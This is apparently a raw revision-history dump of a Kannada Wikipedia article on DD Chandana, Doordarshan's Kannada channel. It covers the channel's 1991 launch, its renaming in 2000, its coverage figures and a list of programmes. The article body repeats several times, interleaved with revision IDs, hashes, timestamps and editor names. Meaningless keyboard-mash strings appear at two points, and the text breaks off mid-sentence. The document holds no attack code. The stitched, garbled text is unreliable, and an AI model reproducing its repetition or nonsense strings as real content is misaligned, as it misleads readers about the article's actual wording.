ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿshsbsbssbabsns s sbsnssb. sbssbsbs sbwbsbsb gply7kz53tkqy07sonaikgq72z8wujf 1116627 1116626 2022-08-24T11:20:53Z Ishqyk 76644 wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ ff9pekfahz9uh6vc14zfpsa5jt03r2x 1116628 1116627 2022-08-24T11:22:36Z Ishqyk 76644 Created by translating the section "ಬಾಹ್ಯ ಕೊಂಡಿಗಳು" from the page "[[:en:Special:Redirect/revision/1093907272|DD Chandana]]" wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ ಕಾರ್ಯಕ್ರಮಗಳು ಪ್ರಸಾರವಾಗುತ್ತವೆ. ಚಂದನ ವಾಹಿನಿಯ‌ನ್ನು ಸ್ಮಾರ್ಟ್‌ಫೋನಿನ‌ಲ್ಲಿ ವೀಕ್ಷಿಸ‌ಬ‌ಹುದು. ಲಿಂಕ್ : http://tv.ddchandana.in{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} {{ಕನ್ನಡ ಕಿರುತೆರೆ ಸುದ್ದಿ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಕನ್ನಡ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಪಟ್ಟಿ}} {{ಭಾರತದ ಸರ್ಕಾರಿ ಸ್ವಾಮ್ಯದ ಕಿರುತೆರೆ ವಾಹಿನಿಗಳ ಜಾಲ}} [[ವರ್ಗ: ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] == ಇತಿಹಾಸ == ಪ್ರಾದೇಶಿಕ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಅನ್ನು 15 ಆಗಸ್ಟ್ 1991 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಇದು 1 ಜನವರಿ 2000 ರಂದು 24 ಗಂಟೆಗಳ ಚಾನಲ್ ಆಯಿತು. ಈ ಚಾನೆಲ್ ಅನ್ನು ಸಾಮಾನ್ಯವಾಗಿ '''DD-9 ಕನ್ನಡ''' ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು, ನಂತರ ಇದನ್ನು "ಚಂದನ" ಎಂದು ನಾಮಕರಣ ಮಾಡಲಾಯಿತು, ಏಪ್ರಿಲ್ 5, 2000 ರಂದು ಇದು ರಾಜ್ಯದ ನಿಜವಾದ ಸಾಂಸ್ಕೃತಿಕ ರಾಯಭಾರಿಯಾಗಿದೆ. ಇದು ಬೆಂಗಳೂರು ಮತ್ತು ಕಲಬುರ್ಗಿಯಲ್ಲಿರುವ ದೂರದರ್ಶನ ಸ್ಟುಡಿಯೋಗಳಿಂದ ಬೆಂಬಲಿತವಾದ ಕನ್ನಡ ಭಾಷೆಯ ಉಪಗ್ರಹ ಚಾನಲ್ ಆಗಿದೆ. ಇದು ಮನರಂಜನಾ ಧಾರಾವಾಹಿಗಳು, ಇನ್ಫೋಟೈನ್‌ಮೆಂಟ್ ಕಾರ್ಯಕ್ರಮಗಳು, ಸುದ್ದಿ ಮತ್ತು ಪ್ರಚಲಿತ ವಿದ್ಯಮಾನಗಳು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕ್ರಮಗಳು ಮತ್ತು ಚಲನಚಿತ್ರ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಅದರ ಪ್ರಮುಖ ವಿಷಯವಾಗಿ ಹೊಂದಿದೆ. ಟೆರೆಸ್ಟ್ರಿಯಲ್ ಮೋಡ್‌ನಲ್ಲಿ, ಕರ್ನಾಟಕದ ಜನಸಂಖ್ಯೆಯ 81.7% ಜನರಿಗೆ DD ಚಂದನ ಲಭ್ಯವಿದೆ. ಇಂದು ದೂರದರ್ಶನ ಬೆಂಗಳೂರು 76.2% ವಿಸ್ತೀರ್ಣ ಮತ್ತು 82.4% ಜನಸಂಖ್ಯೆಯನ್ನು ಒಳಗೊಂಡಿದೆ. ಡಿಡಿ ಚಂದನಾ ಅವರು ಮನೆಯ ಕೆಲಸದ ಸ್ಥಳ, ಉದ್ಯಮ ಮತ್ತು ಸಮುದಾಯ ಮಟ್ಟದಲ್ಲಿ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡಿದ್ದಾರೆ. ಹಿಂದಿನ ಕೆಲವು ಕಾರ್ಯಕ್ರಮಗಳೆಂದರೆ: ಅಗ್ನಿ ಸಂಚಿಕೆ ಸಾಪ್ತಾಹಿಕ ಟಿವಿ ಧಾರಾವಾಹಿ ಕಾರ್ಯಕ್ರಮ ಮತ್ತು ಅಗ್ನಿಶಾಮಕ ವಾರ್ಡನ್ ಸಂಸ್ಥೆ, ಸ್ವಯಂಸೇವಕರಿಗೆ ಅಗ್ನಿ ಸುರಕ್ಷತೆಯ ಅರಿವು ಮತ್ತು ಸಮುದಾಯದಲ್ಲಿ ತ್ವರಿತ ಪ್ರತಿಕ್ರಿಯೆ ಅಭ್ಯಾಸಗಳನ್ನು ಸುಧಾರಿಸಲು ಅಗ್ನಿಶಾಮಕ ಸೇವೆಗಳೊಂದಿಗೆ ಕೈಜೋಡಿಸಲು ಅವಕಾಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಚಂದನ ವಾಹಿನಿಯು 2004 ರಲ್ಲಿ 20 ನಿಯೋಜಿತ ಕಾರ್ಯಕ್ರಮಗಳು, ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳು ಮತ್ತು ನಾಟಕ, ಟೆಲಿಫಿಲ್ಮ್‌ಗಳು ಮತ್ತು ಧಾರಾವಾಹಿ ಅನ್ನು ಪ್ರಸಾರ ಮಾಡಿತು. == ಕಾರ್ಯಕ್ರಮಗಳ ಪಟ್ಟಿ == ವಾಹಿನಿಯು ಹಲವಾರು ಸ್ಮರಣೀಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಪ್ರೇಕ್ಷಕರಿಗೆ ನೀಡಿದೆ, ಅವುಗಳಲ್ಲಿ ಅತ್ಯಂತ ಜನಪ್ರಿಯವಾಗಿವೆ * ಡ್ಯಾನ್ಸ್ ಸಮರ- ಡ್ಯಾನ್ಸ್ ರಿಯಾಲಿಟಿ ಶೋ * ಗಾನ ಚಂದನ - ಗಾಯನ ರಿಯಾಲಿಟಿ ಶೋ <ref>{{Cite web|url=https://www.vijayavani.net/gana-chandana-in-chandana/|title=ಚಂದನದಲ್ಲಿ ಗಾನ ಚಂದನ|date=2020-03-06|website=VIJAYAVANI - ವಿಜಯವಾಣಿ|language=en-US|access-date=2020-03-06}}</ref> * [[ವಾರ್ತೆ|ವಾರ್ತೆಗಳು]] ''(ಅರ್ಥ: ಸುದ್ದಿ)'' - ಸುದ್ದಿ ಕಾರ್ಯಕ್ರಮ * ಚಿತ್ರಮಂಜರಿ ''(ಅರ್ಥ: ಚಿತ್ರ ಹಿಮ)'' - ಕನ್ನಡ ಚಲನಚಿತ್ರ ಗೀತೆಗಳ ಕಾರ್ಯಕ್ರಮ * [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|ಥಟ್ ಅಂತ ಹೇಳಿ]] ''(ಅರ್ಥ: ಮಿಂಚಿನಲ್ಲಿ ಉತ್ತರ)'' [[ಥಟ್ ಅಂತ ಹೇಳಿ (ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ)|-]] ರಸಪ್ರಶ್ನೆ ಕಾರ್ಯಕ್ರಮ * ಸುತ್ಥೋನ ನಮ್ಮ ನಾಡು ''(ಅರ್ಥ: ನಮ್ಮ ಸ್ಥಳಕ್ಕೆ ಪ್ರಯಾಣಿಸೋಣ)'' - ಕರ್ನಾಟಕ ರಾಜ್ಯ ಪ್ರವಾಸ ಮಾರ್ಗದರ್ಶಿ ಕಾರ್ಯಕ್ರಮ * ಕಥಾ ಸರಿತಾ/ಮಾಳಿಕೆ/ ''(ಅರ್ಥ: ಕಥಾ ಮಾಲೆ)'' - [[ಕನ್ನಡ ಸಾಹಿತ್ಯ|ಕನ್ನಡ ಸಾಹಿತ್ಯದ]] ಹಲವಾರು ಸಣ್ಣ ಕಥೆಗಳ ಪ್ರದರ್ಶನ * [[ಕರ್ನಾಟಕ ಸಂಗೀತ|ಕರ್ನಾಟಕ ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ]] ''(ಅರ್ಥ: ಶಾಸ್ತ್ರೀಯ ಸಂಗೀತ)'' - ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ * ಬೆಳಗು ''(ಅರ್ಥ: ಹಗುರಗೊಳಿಸು)'' - ಯಾವುದೇ ಹೆಸರಾಂತ ಅತಿಥಿಯ ಸಂದರ್ಶನ ಕಾರ್ಯಕ್ರಮ * ''[[ಚಲನಚಿತ್ರ]] (ಅರ್ಥ: ಚಲನಚಿತ್ರ)'' * ಸ್ವರಾಜ್ - ಹಿಂದಿ ಅನುವಾದಿತ ಧಾರಾವಾಹಿ == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [https://web.archive.org/web/20130726051932/http://www.ddindia.gov.in/ ದೂರದರ್ಶನ ಅಧಿಕೃತ ಅಂತರ್ಜಾಲ ತಾಣ] * [http://www.ddinews.gov.in/ ದೂರದರ್ಶನ ಸುದ್ದಿ ತಾಣ] * [https://web.archive.org/web/20120414015108/http://passionforcinema.com/doordarshan-down-memory-lane PFC ನಲ್ಲಿ ಒಂದು ಲೇಖನ] * * [https://youtube.com/c/DoordarshanChandana] sbsbsbx. D dd dhdbdhdbsdbhw shewb wwjw 23aq11bml5a4z1y7v620cftsar82xju 1116629 1116628 2022-08-24T11:23:04Z Ishqyk 76644 /* ಉಲ್ಲೇಖಗಳು */ wikitext text/x-wiki [[ಚಿತ್ರ:Doordarshan Bhawan, Copernicus Marg, Delhi.jpg|thumbnail]] ದೂರದರ್ಶನ - ಚಂದನ (ಡಿ.ಡಿ.೯) - ಬೆಂಗಳೂರು ದೂರದರ್ಶನ ಕೇಂದ್ರದ ೨೪/೭ ಕಿರುತೆರೆಯ ಕನ್ನಡ ವಾಹಿನಿ. ಭಾರತದಲ್ಲಿ 'ದೂರದರ್ಶನ' ಬಿತ್ತರಿಸುವ ಕಾರ್ಯಕ್ರಮಗಳು ಯಾವುದೇ ಭಾಷೆಯದಾದರೂ ಅವು ಮುಟ್ಟುವ ಜನಸಮುದಾಯ ಅಪಾರ. ಇದನ್ನು ಗಮನದಲ್ಲಿಟ್ಟುಕೊಂಡು ಸರಕಾರ ಸಮರ್ಥ ತಾಂತ್ರಿಕ ವರ್ಗ, ಹಾಗೂ ಅದಕ್ಕೆ ಸರಿಹೊಂದುವ ಪರಿಣಿತರನ್ನು ತಯಾರುಮಾಡಿ ಖಾಸಗೀ ವಲಯಗಳ ಜೊತೆಗೆ ಭುಜಕ್ಕೆ ಭುಜ ಕೊಟ್ಟು ಮುನ್ನಡೆಯಬೇಕಾಗಿದೆ. ಅದಕ್ಕೆ ಉಪಾಯವೆಂದರೆ, ಕಾರ್ಯಕ್ರಮಗಳ ತಾಂತ್ರಿಕತೆ, ಹಾಗೂ ಬೇರೆ ಬೇರೆ ಮಜಲುಗಳಲ್ಲಿ ಸಾಕಷ್ಟು ಅನುಸಂಧಾನ ಮಾಡಿ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ಬಿತ್ತರಿಸಬೇಕು.ಈ ವಾಹಿನಿಯಲ್ಲಿ ವಿಧ್ಯಾರ್ಥಿ‍ಗಳಿಗೆ ಉಪಯುಕ್ತವಾಗುವಂತ ಅನೇಕ 